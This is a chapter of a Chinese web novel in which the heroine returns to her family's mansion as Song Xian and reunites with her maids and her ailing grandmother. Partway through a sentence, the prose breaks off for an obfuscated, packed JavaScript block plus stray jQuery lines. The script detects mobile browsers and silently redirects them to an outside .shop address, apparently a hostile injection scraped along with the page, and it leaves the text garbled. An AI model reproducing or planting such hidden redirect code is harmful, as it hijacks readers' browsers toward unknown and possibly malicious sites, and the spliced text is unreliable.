36. 归家
作品:《京城第一贵女被休了》 “随城钱庄是南翼的人,可信。”温梨道,她当初择北留城开店营生,亦是有这一层的考量。
萧明握着缰绳的手紧了紧。
“你们昨日去随城取银子时,我给随城掌计捎了信,随城的‘南家人’,今日便会到北留城,听候小早儿差遣。”温梨又道。
何谓“南家人”?
南家有家学,延聘名师或族中长辈执教,族中子弟七八岁入学,与旁的学堂不同的是,南家会定期选收适龄的贫困子弟入学,吃住皆有南家承担。
外姓子弟入南家学堂,先学《南家格言》,谨遵南家家规,传习南家精神。
如此,前两年先识字学礼,待根基打好,再视各人资质,分授不同的营生技艺,有学药理辨药材的、有研习染织绣技艺、有专注瓷器的烧制上釉等技艺、也有专研账簿的......
将来如何,端看个人资质与志向,以及修习成果。
待到十二三岁之际,便要出学堂入铺子,铺子里亦有专门的师父管教。
南家每年都有考核大比,能者进,弱者退。
连得三年“优”者,不管以前出自何姓,皆被称为“南家人”,是外姓子弟最引以为荣的新印记。
这些人历经多年选拔,个个本事扎实、眼界开阔,又对南家死心塌地,是南家的基石。
“南家人”分散在南家遍布大江南北的铺子田庄作坊,与许多在当地所雇的伙计一起,支撑起南家的万贯营生。
温梨之所以放心将五千两交到小早儿手上,而不怕引来灾祸,是早已做了打算,三位“南家人”会在旁引导,教导姜早儿打理铺子,熟悉南家生意的章程,自然出不了乱子。
又行了半日,在日头落山前,二人牵马进了随城。
城内街上很是热闹,人潮涌动,不过食铺,因着是年节,大多已歇业归家。
行了几条街,才见一家面馆尚未歇业,伙计说,老板回家过年,只留他一人看店,眼下店内吃食只有一种,阳春面。
既是没得挑,温梨便要了两碗面。
好在,面上得极快,汤底清亮,细白面丝上点缀着碧绿的嫩葱,正冒着袅袅热气,对寒冬旅人来说再熨帖不过,温梨喝了半碗热汤,方觉冻僵的四肢有些回暖。
伙计收了钱,旋即便不见了人影,约莫是躲到灶边打盹了。
整个铺子空荡荡的,唯有他们二人面前有些热气。
“随城车马行关了。”萧明道,“年节时分甚少有人外出,当地人说,须得过了正月十五方能租到马车。”
“南记的饭菜比这里丰盛许多。”萧明看着温梨道,既已定下要去南记,为何又在这里吃面。
“想多清净片刻。”温梨笑道,进了南记铺子,她便是宋纤。
从此便只能是宋纤。
当了三年“温梨”,真要舍弃,一时还有些舍不得。
萧明未再多问,只是让温梨在面馆再留片刻,他去南记取马车,借辆马车,无须她亲自出面。
温梨莞尔,这是让“温梨”多留片刻?
萧明半炷香不到便回,马车里铺着裘皮,燃着炭炉熏香,约莫是苦日子过久了,温梨只觉过于奢侈,虽则这车,和她曾经那辆镶金带玉的马车差的不是一星半点。
在车上坐定,温梨轻轻闭眼,待睁开时,眸中疏离清明。
已是宋纤!
北留城在国之最北,距京城千里之远。
饶是萧明驾车手法娴熟,奈何天寒路滑,冰雪侵扰,他们到达京城时,已是正月末。
马车停在街角,一转弯便是南家那横跨两条街的大宅。
宋纤掀开车帘,望着前路,眸底晦涩难辨,掌管南家四十余年的外祖父过世之际,亦是南家这场无声厮杀的开启之时。
胜者升坐,自此执掌南家万贯家财。
“你可是想好了?”萧明问,他在问宋纤,当真要去争那南家的家业?
“自然。”宋纤浅笑,她回南家,是外祖父的遗愿,她自不会让外祖父失望。
“好。”马蹄轻扬,没有半分着急,闲庭信步一般静静停在南家大门前。
东青翘首立于门外,身后几十个丫鬟婆子严阵以待,鸦雀无声。
待看清那驾车之人,东青心头微震,竟是萧将军。
短短数息,东青便恢复如常,疾步走向马车,恭敬道:“姑娘一路辛苦!”
宋纤的手轻搭在车帘一侧,东青立即上前,不待宋纤用力,已将车帘打开。
是时,东青身后走出两个小丫鬟,把四围镶着珍珠的绣凳放在马车旁,以便下车踏步。
宋纤起身,东青立时弯腰曲肘,供宋纤搭手借力。
身后一众丫鬟拿着手炉、裘衣、暖茶等各色事物,静默侍立在旁。
宋纤没去扶东青的胳膊,而是顺势握住了她的手。
东青眼眶一热,强忍了半日的泪终是滚了下来,哽咽道:“姑娘,您受苦了,我们日日都盼着您回来。”
方才一照面她便看到姑娘手上的冻疮,这是能看到的,看不到的该有多少,她如花如玉一般的姑娘何曾受过这样的苦。
“我亦时刻念着你们,外祖母可好?”
东青借着转头,抹了把眼泪,回头笑道:“老太太一切都好,日夜都念着你。”
宋纤目光扫过前方,南翼不在!
面色如常下了马车,一顶可在回廊穿行的软轿便停在脚下,宋纤微摆了下手,她要仔细看看这座大宅。
一群人浩浩荡荡从大门向宅子的东路而去。
南家宅子分东西两路,西路为三进三跨的院落,有穿堂前后连通。
东路为花园,万千花木流水中只有两座院落,正院为家主居住的五开间的硬山正房,名曰洗心斋。
穿过正院东北角的穿堂往后便是宋纤居住的未萌堂。
亦是整个宅子中最精巧的一处庭院,一石一木皆俊秀,书房、冷泉、花台、浮廊,移步换景,比画卷更精美。
宋纤在众人的簇拥下,一路行过花厅、水榭、敞轩,到达正院洗心斋。
西白候在正院门外,远远看见宋纤过来,没看她如何动作,眨眼间便到了宋纤面前,恭恭敬敬行了礼,眸色平静。
只有东青看得分明,西白那般稳的手,悄悄背在身后,因过于用力而在微微颤抖。
行至内堂,宋纤抬眼就看到一张哭花的脸,北玄哭得涕泪横流,抽抽噎噎唤了声:“姑娘”,再说不出话来,只一味的哭。
宋纤递了块小早儿先前给她绣的手帕,北玄先是心头一暖,一上脸,才发觉竟是棉布帕子,顿时哭得更加伤心。
姑娘在外过得什么日子啊,这么糙的帕子,也不怕划伤姑娘的脸!
宋纤拍了拍北玄的肩膀,抬步往里间走去,外祖母靠在床头,脸上挂着笑意,看着她一步一步走近。
行至榻前,外祖母笑着伸出双臂,一如幼时那般等她扑来,宋纤鼻子一酸,小跑两步,一头扎进外祖母怀里。
外祖母怜爱地拍了拍外孙女的发顶,“乖乖在外面受苦了!”
宋纤眼眶微湿,满腔委屈与疲惫霎时涌上心头,化作热泪,消弭在外祖母慈爱的目光里。
宋纤悄悄攥紧外祖母的手,眼含热泪,嘴角却弯起笑意,看到外祖母这般硬朗,她一直悬着的心方落地。
自见到南翼那封信,她便日夜难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192496|194332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安,唯恐外祖母身体有恙。
她不敢细想,亦不敢不想,一路上身心备受煎熬。
如今看着老太太神思清明,面色红润,进门前的忐忑畏惧顿时一扫而空,对着外祖母露出小女儿之态,撒娇道:“纤儿在孤身在外过得可苦了,吃不饱,穿不暖的,外祖母可要多疼疼我!”
老太太乐呵呵地任由外孙女撒娇,忙不迭地应承到:“是是是,外祖母最疼乖乖了!都怪你外祖父,让我的乖乖在外受了三年苦,等到下面见了他,我定饶不了那个不知变通的老顽固!”
宋纤皱眉,“外祖母.......”
老太太知道外孙女不喜她如此说,摆手道:“不说他,不说他,我的乖乖回来了,回来就好!”
祖孙二人拉着手,絮絮聊了许久,宋纤绘声绘色地说着这些年见到听到的稀罕事,外祖母听得津津有味,连药都不愿吃。
一直说到日影西斜,东青把紧闭的花窗稍微打开一点缝隙,暖色的光束照进室内,投在光洁的地面上,映在老祖母昏黄的眼底,暮气沉沉,如同外面即将落下的夕阳。
宋纤看得一怔,耳边响起外祖母暖融的声音:“老了,吹不得风,平日不让开窗,药部的大掌计固执地要死,好说歹说,才允我日落时分,看一眼夕阳。”
外祖母的身体竟虚弱至此,不可下床?不能见风?可明明看起来很是健朗?
宋纤心头一沉,不祥的预感涌上,指尖倏然发麻。
外祖母怕自己担心,只是在强打精神支撑么?
宋纤压下心中酸涩,笑道:“莫道桑榆晚,为霞尚满天。”【1】
“乖乖说得好,人活着便不能丢了精气神,不拘多大岁数。”外祖母说着笑起来,笑声爽朗,不似迟暮之人,宋纤心中稍安。
夕食用毕,宋纤服侍外祖母睡下,外祖母拉住宋纤的手,示意旁人都退下,祖孙二人要说些体己话。
老祖母侧身躺着,目光清明,久久地凝视着自己的外孙女,多想就这样一直看着她,护着她啊……
三年前,她的女儿和丈夫先后过世,至亲至爱之人离去的悲痛,让她本就腐朽的身体更加不堪,好在她活得太久,自有消解苦难的法子。
她支撑三年,是神采奕奕的三年,是雷厉风行的三年。
她一生要强,便是要走,最后一步也要走得利利索索。
她不喜死气沉沉,徒惹亲人伤心。
她做到了。
近日半梦半醒之间,时常望见年岁尚轻的自己,父亲母亲亦在身旁.......
她心下了然,这是离世之兆。
她不惧,却不能心无挂碍。
让她挂心的便是眼前这个乖乖了。
“乖乖,你父亲去年来看我,说到你母亲,悄悄低头抹眼泪,你说他一个做过宰辅之人,还不如我这个老人看得开。”
一提母亲,宋纤便抿紧了唇,眼眶不争气地红了:“父亲和母亲那般恩爱,到现在,他还是不肯面对母亲已经走了........”
“你母亲自小便体弱,并非突然离世,你们......该心里有数,不应过分哀伤。”外祖母道,她又如何能不痛心,那可是她的独女。
只是眼下,不宜沉溺哀伤。
她本想再劝解几句,可是她聪慧极了的小孙女已然明了这是劝她要坦然面对至亲的死亡。
宋纤拉着外祖母的手掌,贴在自己额头,耍赖般装作听不懂,“我还小,没外祖母照看不行。”
“好好好。”老祖母没有半分犹疑地应承下来。
宋纤顿时心如刀绞。
“乖乖,南家的这摊子事,并不好接,你可懂得?”

